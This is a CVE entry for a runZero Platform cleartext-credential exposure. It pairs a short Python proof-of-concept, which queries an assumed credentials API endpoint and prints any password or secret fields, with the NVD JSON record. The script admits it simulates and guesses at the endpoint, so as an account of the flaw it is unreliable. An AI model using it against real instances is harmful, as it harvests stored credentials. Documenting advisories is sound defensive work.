CVE-2026-5380

# PoC for CVE-2026-5380: Cleartext Credential Exposure # This script simulates checking the response for exposed credentials. import requests # Target URL (Example) target_url = "https://<runzero-instance>/api/v1.0/credentials" # Send a request to the endpoint (assuming UI:R interaction or direct access) response = requests.get(target_url) # Check if the response contains potential cleartext secrets if response.status_code == 200: data = response.json() for item in data: # Look for fields that might contain cleartext passwords or keys # In the vulnerable version, these might be unmasked. if 'password' in item and item['password']: print(f"[+] Potential cleartext password found for ID {item['id']}") if 'secret' in item and item['secret']: print(f"[+] Potential cleartext secret found for ID {item['id']}") else: print("[-] Request failed or endpoint not accessible.")

{"cve": {"id": "CVE-2026-5380", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:48.070", "lastModified": "2026-04-21T15:34:22.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that could allow an authorized user to view the clear-text secrets for a subset of credential types and fields has been resolved. This is an instance of CWE-522: Insufficiently Protected Credentials, and has an estimated CVSS score of\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.3 Medium). This issue was fixed in version 4.0.260204.2 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260204.2", "matchCriteriaId": "80353729-6385-4864-AF94-5EFCA6C45982"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602042", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-cleartext-exposure-cve-2026-5380/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}